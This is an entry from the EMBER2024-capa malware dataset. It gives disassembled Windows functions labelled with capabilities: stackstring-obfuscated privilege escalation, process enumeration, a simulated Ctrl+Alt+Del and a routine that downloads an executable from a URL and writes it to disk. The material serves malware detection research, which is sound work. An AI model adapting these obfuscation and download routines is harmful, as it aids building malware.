joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10014ab0
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov al, 0x74
push ebx
mov byte [ebp - 0x3a], al
mov byte [ebp - 0x36], al
mov al, 0x72
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov byte [ebp - 0x34], al
mov byte [ebp - 0x33], al
mov byte [ebp - 0x31], al
lea eax, [ebp - 0x3c]
push edi
push eax
push str.KERNEL32.dll
mov byte [ebp - 0x3c], 0x47
mov byte [ebp - 0x3b], 0x65
mov byte [ebp - 0x39], 0x4c
mov byte [ebp - 0x38], 0x61
mov byte [ebp - 0x37], 0x73
mov byte [ebp - 0x35], 0x45
mov byte [ebp - 0x32], 0x6f
mov byte [ebp - 0x30], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x2c]
mov al, 0x41
push str.AdjustTokenPrivileges
push ecx
mov byte [ebp - 0x2c], al
mov byte [ebp - 0x2b], 0x44
mov byte [ebp - 0x2a], 0x56
mov byte [ebp - 0x29], al
mov byte [ebp - 0x28], 0x50
mov byte [ebp - 0x27], 0x49
mov byte [ebp - 0x26], 0x33
mov byte [ebp - 0x25], 0x32
mov byte [ebp - 0x24], 0x2e
mov byte [ebp - 0x23], 0x64
mov byte [ebp - 0x22], 0x6c
mov byte [ebp - 0x21], 0x6c
mov byte [ebp - 0x20], 0
call esi
push eax
call edi
lea edx, [ebp - 0x2c]
push str.LookupPrivilegeValueA
push edx
mov dword [ebp - 0xc], eax
call esi
push eax
call edi
mov dword [ebp - 8], eax
nop
nop
nop
nop
nop
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x2c]
push str.OpenProcessToken
push eax
call esi
push eax
call edi
lea ecx, [ebp - 0x1c]
mov ebx, eax
push ecx
push str.KERNEL32.dll
mov byte [ebp - 0x1c], 0x43
mov byte [ebp - 0x1b], 0x6c
mov byte [ebp - 0x1a], 0x6f
mov byte [ebp - 0x19], 0x73
mov byte [ebp - 0x18], 0x65
mov byte [ebp - 0x17], 0x48
mov byte [ebp - 0x16], 0x61
mov byte [ebp - 0x15], 0x6e
mov byte [ebp - 0x14], 0x64
mov byte [ebp - 0x13], 0x6c
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0x11], 0
call esi
push eax
call edi
lea edx, [ebp - 4]
mov edi, eax
push edx
push 0x28
mov esi, 1
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call ebx
test eax, eax
jne 0x10014bde
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
neg eax
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x4c], 1
sbb eax, eax
push ecx
and eax, 2
push edx
push 0
mov dword [ebp - 0x40], eax
call dword [ebp - 8]
mov ecx, dword [ebp - 4]
push 0
push 0
lea eax, [ebp - 0x4c]
push 0x10
push eax
push 0
push ecx
call dword [ebp - 0xc]
call dword [ebp - 0x10]
test eax, eax
je 0x10014c1b
xor esi, esi
mov edx, dword [ebp - 4]
push edx
call edi
xor eax, eax
pop edi
test esi, esi
pop esi
pop ebx
setne al
mov esp, ebp
pop ebp
ret
Function at 0x10014c60
Capabilities:
Create thread

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
mov dl, byte [esp + 0x2c]
push esi
push 0
push 0
push 0
push 0
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ecx
mov byte [esp + 0x1c], dl
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov ecx, dword [esp + 0x28]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x2c]
lea edx, [esp + 4]
push eax
mov eax, dword [esp + 0x20]
push ecx
mov ecx, dword [esp + 0x20]
push edx
push 0x10014c30
push eax
push ecx
call sub.MSVCRT.dll__beginthreadex
mov edx, dword [esp + 0x28]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
add esp, 0x10
ret

Function at 0x10014ce0
Capabilities:
Enumerate processes

Disassembly:
push ebx
push ebp
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
push 0x128
mov ebx, eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
push esi
push ebx
mov dword [esi], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10014d4e
mov ebp, dword [esp + 0x14]
lea edi, [esi + 0x24]
push ebp
push edi
call sub.MSVCRT.dll__strcmpi
add esp, 8
test eax, eax
jne 0x10014d2c
mov eax, dword [esi + 8]
pop edi
pop esi
pop ebp
pop ebx
ret
push esi
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x10014d4e
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x10014d24
push esi
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x10014d37
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret

Function at 0x10014d60
Capabilities:
Get session information
Get session user name

Disassembly:
sub esp, 8
lea ecx, [esp + 4]
lea edx, [esp]
push ecx
push edx
xor eax, eax
push 5
push 0xffffffffffffffff
push eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
call sub.WTSAPI32.dll_WTSQuerySessionInformationA
test eax, eax
je 0x10014db2
push esi
push pe_nt_image_headers32
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
mov eax, dword [esp + 4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [esp + 4]
push ecx
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, esi
pop esi
add esp, 8
ret
xor eax, eax
add esp, 8
ret

Function at 0x10014f40
Capabilities:
Check os version

Disassembly:
sub esp, 0x9c
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
push edi
mov ecx, 0x27
xor eax, eax
lea edi, [esp + 8]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 8], 0x9c
push eax
call esi
test eax, eax
jne 0x10014f8a
lea ecx, [esp + 8]
mov dword [esp + 8], 0x94
push ecx
call esi
test eax, eax
jne 0x10014f8a
pop edi
pop esi
add esp, 0x9c
ret
cmp dword [esp + 0xc], 5
jne 0x10014fa7
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x10014fa7
call fcn.10014dc0
pop edi
pop esi
add esp, 0x9c
ret
call fcn.10014d60
pop edi
pop esi
add esp, 0x9c
ret
Function at 0x100151a0
Capabilities:
Simulate ctrl alt del

Disassembly:
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
push str.Winlogon
mov esi, eax
call fcn.10015130
add esp, 4
test eax, eax
jne 0x100151c3
pop esi
ret
push 0x2e0003
push 0
push 0x312
push 0xffff
call dword [sym.imp.USER32.dll_PostMessageA]
test esi, esi
je 0x100151e7
push esi
call fcn.100150a0
add esp, 4
mov eax, 1
pop esi
ret

Function at 0x100151f0
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
sub esp, 0x414
push ebx
push ebp
push esi
xor ebp, ebp
push edi
push ebp
push ebp
push ebp
mov esi, 1
push ebp
push str.Mozilla_4.0__compatible_
mov dword [esp + 0x24], ebp
mov dword [esp + 0x30], ebp
mov dword [esp + 0x28], esi
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
cmp edi, ebp
mov dword [esp + 0x20], edi
jne 0x10015233
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x414
ret
mov eax, dword [esp + 0x428]
push ebp
push accept
push ebp
push ebp
push eax
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ebx, eax
cmp ebx, ebp
jne 0x1001525d
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x414
ret
mov ecx, dword [esp + 0x42c]
push ebp
push ebp
push 2
push ebp
push ebp
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x18], eax
je 0x100152ef
mov ebp, dword [sym.imp.WININET.dll_InternetReadFile]
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x24]
lea edx, [esp + 0x10]
rep stosd dword es:[edi], eax
push edx
lea eax, [esp + 0x28]
push 0x400
push eax
push ebx
call ebp
test esi, esi
je 0x100152b1
cmp word [esp + 0x24], 0x5a4d
jne 0x100152d8
mov edx, dword [esp + 0x10]
xor esi, esi
lea ecx, [esp + 0x1c]
push esi
push ecx
mov ecx, dword [esp + 0x20]
lea eax, [esp + 0x2c]
push edx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 0x10]
test eax, eax
jbe 0x100152e0
jmp 0x10015285
mov dword [esp + 0x14], 0
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [esp + 0x20]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call esi
push edi
call esi
mov ecx, dword [esp + 0x14]
xor eax, eax
pop edi
pop esi
test ecx, ecx
pop ebp
pop ebx
setne al
add esp, 0x414
ret

Function at 0x100154d0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov al, cl
ret
Function at 0x10017620
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov ecx, dword [esp + 8]
test ecx, ecx
jne 0x1001762b
xor eax, eax
ret
mov eax, dword [esp + 4]
push ebx
push esi
mov esi, dword [esp + 0x14]
cmp esi, 8
not eax
jb 0x1001772e
push edi
mov edi, esi
shr edi, 3
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
mov ebx, eax
shr ebx, 8
mov eax, dword [edx*4 + 0x1002791c]
sub esi, 8
xor eax, ebx
inc ecx
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x1002791c]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x1002791c]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x1002791c]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x1002791c]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x1002791c]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x1002791c]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x1002791c]
xor eax, edx
inc ecx
dec edi
jne 0x10017646
pop edi
test esi, esi
je 0x10017750
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x1002791c]
xor eax, edx
inc ecx
dec esi
jne 0x10017732
pop esi
pop ebx
not eax
ret

Function at 0x10017760
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov ecx, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
mov edx, dword [ecx]
and esi, 0xff
mov eax, edx
and eax, 0xff
xor eax, esi
shr edx, 8
mov eax, dword [eax*4 + 0x1002791c]
xor eax, edx
mov edx, dword [ecx + 4]
mov dword [ecx], eax
and eax, 0xff
add eax, edx
mov edx, dword [ecx + 8]
imul eax, eax, 0x8088405
inc eax
mov esi, edx
mov dword [ecx + 4], eax
and esi, 0xff
shr eax, 0x18
xor eax, esi
pop esi
shr edx, 8
mov eax, dword [eax*4 + 0x1002791c]
xor eax, edx
mov dword [ecx + 8], eax
ret
Function at 0x10018030
Capabilities:
Read file on windows

Disassembly:
push ebx
mov ebx, dword [esp + 0x14]
push ebp
mov ebp, dword [esp + 0x10]
mov cl, byte [ebx]
mov eax, ebp
imul eax, dword [esp + 0x14]
test cl, cl
je 0x10018071
mov edx, dword [esp + 0xc]
lea ecx, [esp + 0xc]
push 0
push ecx
push eax
mov eax, dword [ebx + 4]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x10018066
mov byte [ebx + 8], 1
mov eax, dword [esp + 0xc]
xor edx, edx
div ebp
pop ebp
pop ebx
ret
mov edx, dword [ebx + 0x1c]
mov ecx, dword [ebx + 0x18]
push esi
push edi
lea esi, [edx + eax]
cmp esi, ecx
jbe 0x10018084
sub ecx, edx
mov eax, ecx
mov esi, dword [ebx + 0x14]
mov edi, dword [esp + 0x14]
mov ecx, eax
add esi, edx
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
xor edx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebx + 0x1c]
pop edi
add ecx, eax
pop esi
div ebp
mov dword [ebx + 0x1c], ecx
pop ebp
pop ebx
ret
Function at 0x10018bb0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 8
push ebx
push esi
push edi
mov edi, dword [esp + 0x18]
xor ebx, ebx
cmp edi, ebx
jne 0x10018bcc
pop edi
pop esi
mov eax, 0xffffff9a
pop ebx
add esp, 8
ret
cmp dword [edi + 0x18], ebx
jne 0x10018bdd
pop edi
pop esi
mov eax, 0xffffff9a
pop ebx
add esp, 8
ret
cmp dword [edi + 0x7c], ebx
je 0x10018beb
push edi
call fcn.10019020
add esp, 4
lea eax, [esp + 0xc]
lea ecx, [esp + 0x18]
push eax
lea edx, [esp + 0x14]
push ecx
push edx
push edi
call fcn.100189b0
add esp, 0x10
test eax, eax
je 0x10018c13
pop edi
pop esi
mov eax, 0xffffff99
pop ebx
add esp, 8
ret
push 0x84
call sub.MSVCRT.dll_malloc
mov esi, eax
add esp, 4
cmp esi, ebx
jne 0x10018c32
pop edi
pop esi
mov eax, 0xffffff98
pop ebx
add esp, 8
ret
push 0x4000
call sub.MSVCRT.dll_malloc
mov dword [esi], eax
mov ecx, dword [esp + 0x1c]
mov dword [esi + 0x44], ecx
mov edx, dword [esp + 0x10]
add esp, 4
cmp eax, ebx
mov dword [esi + 0x48], edx
mov dword [esi + 0x4c], ebx
jne 0x10018c6b
push esi
call sub.MSVCRT.dll_free
add esp, 4
mov eax, 0xffffff98
pop edi
pop esi
pop ebx
add esp, 8
ret
mov dword [esi + 0x40], ebx
mov edx, dword [edi + 0x34]
mov ecx, dword [edi + 0x3c]
xor eax, eax
cmp edx, ebx
mov dword [esi + 0x54], ecx
mov dword [esi + 0x50], ebx
mov edx, dword [edi + 0x34]
mov dword [esi + 0x64], edx
mov ecx, dword [edi]
sete al
mov dword [esi + 0x60], ecx
mov edx, dword [edi + 0xc]
cmp eax, ebx
mov dword [esi + 0x68], edx
mov dword [esi + 0x18], ebx
jne 0x10018cb9
lea eax, [esi + 4]
mov dword [esi + 0x24], ebx
push eax
mov dword [esi + 0x28], ebx
mov dword [esi + 0x2c], ebx
call fcn.100178c0
add esp, 4
test eax, eax
jne 0x10018cb9
mov dword [esi + 0x40], 1
mov ecx, dword [edi + 0x40]
mov dword [esi + 0x58], ecx
mov edx, dword [edi + 0x44]
mov dword [esi + 0x5c], edx
mov al, byte [edi + 0x30]
and al, 1
mov byte [esi + 0x6c], al
mov ecx, dword [edi + 0x30]
shr ecx, 3
test cl, 1
je 0x10018ce6
mov edx, dword [edi + 0x38]
shr edx, 8
mov byte [esi + 0x80], dl
jmp 0x10018cf2
mov eax, dword [edi + 0x3c]
shr eax, 0x18
mov byte [esi + 0x80], al
mov cl, byte [esi + 0x6c]
push ebp
mov ebp, dword [esp + 0x20]
lea ebx, [esi + 0x70]
neg cl
sbb ecx, ecx
mov dword [ebx], 0x12345678
and ecx, 0xc
mov dword [esi + 0x74], 0x23456789
test ebp, ebp
mov dword [esi + 0x7c], ecx
mov dword [esi + 0x78], 0x34567890
je 0x10018d33
mov al, byte [ebp]
test al, al
je 0x10018d33
push eax
push ebx
call fcn.10017760
add esp, 8
inc ebp
jne 0x10018d1f
mov edx, dword [edi + 0x78]
mov eax, dword [esp + 0x14]
mov dword [esi + 8], 0
pop ebp
lea ecx, [edx + eax + 0x1e]
xor eax, eax
mov dword [esi + 0x3c], ecx
mov dword [edi + 0x7c], esi
pop edi
pop esi
pop ebx
add esp, 8
ret
Function at 0x100190b0
Capabilities:
Get common file path

Disassembly:
push ecx
push ebx
push esi
mov esi, ecx
push edi
cmp dword [esi], 0
jne 0x1001916f
cmp dword [esi + 4], 0xffffffff
jne 0x1001916f
lea edi, [esi + 0x140]
push edi
push 0x103
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [ecx + esi + 0x13f]
mov cl, byte [ecx + esi + 0x13f]
cmp cl, 0x5c
je 0x10019105
cmp cl, 0x2f
je 0x10019105
mov byte [eax + 1], 0x2f
mov byte [eax + 2], 0
mov ebx, dword [esp + 0x1c]
mov edi, dword [esp + 0x14]
cmp ebx, 1
jne 0x1001912c
push edi
call fcn.1001a1e0
add esp, 4
cmp eax, 0xffffffff
jne 0x1001912c
pop edi
pop esi
mov eax, 0x2000000
pop ebx
pop ecx
ret 0xc
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0xc]
push eax
push ebx
push ecx
push edi
call fcn.10017de0
add esp, 0x10
test eax, eax
jne 0x1001914f
mov eax, dword [esp + 0xc]
pop edi
pop esi
pop ebx
pop ecx
ret 0xc
push eax
call fcn.10018300
add esp, 4
mov dword [esi], eax
neg eax
sbb eax, eax
pop edi
and eax, 0xfffffe00
pop esi
add eax, 0x200
pop ebx
pop ecx
ret 0xc
pop edi
pop esi
mov eax, 0x1000000
pop ebx
pop ecx
ret 0xc

Function at 0x10019720
Capabilities:
Create directory

Disassembly:
sub esp, 0x208
push ebx
mov ebx, dword [esp + 0x210]
push ebp
push edi
test ebx, ebx
je 0x1001979a
push 0x104
lea eax, [esp + 0x114]
push ebx
push eax
call sub.MSVCRT.dll__mbsnbcpy
lea edi, [esp + 0x11c]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x10019776
mov al, byte [esp + ecx + 0x10f]
lea ecx, [esp + ecx + 0x10f]
cmp al, 0x2f
je 0x10019773
cmp al, 0x5c
jne 0x10019776
mov byte [ecx], 0
lea ecx, [esp + 0x110]
push ecx
call fcn.100154d0
add esp, 4
test al, al
jne 0x1001979a
lea edx, [esp + 0x110]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ebp, dword [esp + 0x21c]
mov al, byte [ebp]
test al, al
je 0x10019869
mov edx, ebp
mov ecx, ebp
cmp al, 0x2f
je 0x100197b8
cmp al, 0x5c
jne 0x100197ba
mov edx, ecx
mov al, byte [ecx + 1]
inc ecx
test al, al
jne 0x100197b0
cmp edx, ebp
je 0x100197fe
mov eax, edx
push esi
sub eax, ebp
mov esi, ebp
mov ecx, eax
lea edi, [esp + 0x114]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov byte [esp + eax + 0x114], 0
lea eax, [esp + 0x114]
push eax
push ebx
call fcn.10019720
add esp, 8
pop esi
test ebx, ebx
mov byte [esp + 0xc], 0
je 0x1001981a
push 0x104
lea ecx, [esp + 0x10]
push ebx
push ecx
call sub.MSVCRT.dll__mbsnbcpy
add esp, 0xc
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
mov byte [esp + 0x10f], 0
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edx, 0x104
sub edx, ecx
push edx
lea eax, [esp + ecx + 0x10]
push ebp
push eax
call sub.MSVCRT.dll__mbsnbcpy
lea ecx, [esp + 0x18]
mov byte [esp + 0x11b], 0
push ecx
call fcn.100154d0
add esp, 0x10
test al, al
jne 0x10019869
lea edx, [esp + 0xc]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
pop edi
pop ebp
pop ebx
add esp, 0x208
ret
Function at 0x1001a200
Capabilities:
Get file size
Parse pe header
Read file on windows

Disassembly:
sub esp, 0x44
lea eax, [esp + 0x10]
push esi
mov esi, dword [esp + 0x4c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
test eax, eax
jne 0x1001a222
mov eax, 0x200
pop esi
add esp, 0x44
ret
mov eax, dword [esp + 0x14]
push ebp
mov edx, eax
xor ebp, ebp
and edx, 1
je 0x1001a235
mov ebp, 1
test al, 2
je 0x1001a23c
or ebp, 2
test al, 4
je 0x1001a243
or ebp, 4
mov ecx, eax
and ecx, 0x10
je 0x1001a24d
or ebp, 0x10
test al, 0x20
je 0x1001a254
or ebp, 0x20
test ecx, ecx
je 0x1001a260
or ebp, 0x40000000
jmp 0x1001a266
or ebp, 0x80000000
or ebp, 0x1000000
test edx, edx
jne 0x1001a276
or ebp, 0x800000
push ebx
push edi
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x28
mov dword [esp + 0x14], eax
jbe 0x1001a325
mov edi, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push 0
push 0
push esi
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_ReadFile]
lea ecx, [esp + 0x10]
push 0
push ecx
lea edx, [esp + 0x60]
push 2
push edx
push esi
call ebx
push 0
push 0
push 0x24
push esi
call edi
lea eax, [esp + 0x10]
push 0
push eax
lea ecx, [esp + 0x20]
push 4
push ecx
push esi
call ebx
cmp word [esp + 0x58], 0x54ad
jne 0x1001a325
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
lea edx, [eax + 0x34]
cmp ecx, edx
jbe 0x1001a325
push 0
push 0
push eax
push esi
call edi
lea eax, [esp + 0x10]
push 0
push eax
lea ecx, [esp + 0x24]
push 4
push ecx
push esi
call ebx
mov eax, dword [esp + 0x1c]
cmp eax, 0x5a4d
je 0x1001a31f
cmp eax, 0x454e
je 0x1001a31f
cmp eax, 0x454c
je 0x1001a31f
cmp eax, 0x4550
jne 0x1001a325
or ebp, 0x400000
mov eax, dword [esp + 0x5c]
pop edi
test eax, eax
pop ebx
je 0x1001a331
mov dword [eax], ebp
mov eax, dword [esp + 0x58]
pop ebp
test eax, eax
je 0x1001a340
mov edx, dword [esp + 8]
mov dword [eax], edx
mov esi, dword [esp + 0x58]
test esi, esi
je 0x1001a380
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x20]
push eax
push ecx
call fcn.1001a160
mov edx, dword [esp + 0x34]
mov dword [esi], eax
mov eax, dword [esp + 0x30]
push edx
push eax
call fcn.1001a160
mov ecx, dword [esp + 0x2c]
mov edx, dword [esp + 0x28]
push ecx
push edx
mov dword [esi + 4], eax
call fcn.1001a160
add esp, 0x18
mov dword [esi + 8], eax
mov esi, dword [esp + 0x5c]
test esi, esi
je 0x1001a3bf
mov edx, dword [esp + 0x2c]
lea eax, [esp + 0x50]
lea ecx, [esp + 0x4c]
push eax
mov eax, dword [esp + 0x2c]
push ecx
push edx
push eax
call fcn.1001a0f0
mov ecx, dword [esp + 0x5c]
mov edx, dword [esp + 0x60]
and ecx, 0xffff
and edx, 0xffff
shl ecx, 0x10
add esp, 0x10
or ecx, edx
mov dword [esi], ecx
xor eax, eax
pop esi
add esp, 0x44
ret
Function at 0x1001bb60
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push ebp
xor ebp, ebp
push esi
cmp ebx, 1
push edi
jl 0x1001bb7b
cmp ebx, 8
jg 0x1001bb7b
mov eax, 1
jmp 0x1001bb7d
xor eax, eax
mov esi, dword [esp + 0x14]
push str.bad_pack_level
push eax
push esi
call fcn.1001a3d0
mov eax, dword [esi + 0x6af70]
add esp, 0xc
cmp eax, ebp
mov dword [esi + 0x6af78], ebp
jne 0x1001bbb4
mov dword [esi + 0x6af78], 1
mov dword [esi + 0x6af70], 0x10000
mov ecx, 0x7fff
xor eax, eax
lea edi, [esi + 0x4af70]
mov dword [esi + 0x6af6c], ebp
rep stosd dword es:[edi], eax
mov ax, word [ebx*8 + 0x10027e9a]
xor ecx, ecx
mov dword [esi + 0x6af98], eax
mov cx, word [ebx*8 + 0x10027e98]
xor edx, edx
mov dword [esi + 0x6af9c], ecx
mov dx, word [ebx*8 + 0x10027e9c]
xor eax, eax
mov dword [esi + 0x6afa0], edx
mov ax, word [ebx*8 + 0x10027e9e]
cmp ebx, 2
mov dword [esi + 0x6af94], eax
jg 0x1001bc15
mov eax, dword [esp + 0x1c]
or byte [eax], 4
jmp 0x1001bc21
cmp ebx, 8
jl 0x1001bc21
mov eax, dword [esp + 0x1c]
or byte [eax], 2
lea edi, [esi + 0x1af70]
push 0x10000
push edi
push esi
mov dword [esi + 0x6af84], ebp
mov dword [esi + 0x6af74], ebp
call dword [esi + 0xc]
add esp, 0xc
cmp eax, ebp
mov dword [esi + 0x6af90], eax
je 0x1001bc9a
cmp eax, 0xffffffff
je 0x1001bc9a
cmp eax, 0x106
mov dword [esi + 0x6af8c], ebp
jae 0x1001bc65
push esi
call fcn.1001beb0
add esp, 4
mov dword [esi + 0x6af7c], ebp
xor eax, eax
mov edx, dword [esi + 0x6af7c]
xor ecx, ecx
mov cl, byte [edi + eax]
and edx, 0x3ff
and ecx, 0x7fff
shl edx, 5
xor ecx, edx
inc eax
cmp eax, 2
mov dword [esi + 0x6af7c], ecx
jb 0x1001bc6d
pop edi
pop esi
pop ebp
pop ebx
ret
mov dword [esi + 0x6af8c], 1
mov dword [esi + 0x6af90], ebp
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x1001cf30
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov ecx, dword [esp + 8]
test ecx, ecx
jne 0x1001cf3b
xor eax, eax
ret
mov eax, dword [esp + 4]
push ebx
push esi
mov esi, dword [esp + 0x14]
cmp esi, 8
not eax
jb 0x1001d03e
push edi
mov edi, esi
shr edi, 3
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
mov ebx, eax
shr ebx, 8
mov eax, dword [edx*4 + 0x10027ee8]
sub esi, 8
xor eax, ebx
inc ecx
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x10027ee8]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x10027ee8]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x10027ee8]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x10027ee8]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x10027ee8]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x10027ee8]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x10027ee8]
xor eax, edx
inc ecx
dec edi
jne 0x1001cf56
pop edi
test esi, esi
je 0x1001d060
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x10027ee8]
xor eax, edx
inc ecx
dec esi
jne 0x1001d042
pop esi
pop ebx
not eax
ret

Function at 0x1001d070
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov ecx, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
mov edx, dword [ecx]
and esi, 0xff
mov eax, edx
and eax, 0xff
xor eax, esi
shr edx, 8
mov eax, dword [eax*4 + 0x10027ee8]
xor eax, edx
mov edx, dword [ecx + 4]
mov dword [ecx], eax
and eax, 0xff
add eax, edx
mov edx, dword [ecx + 8]
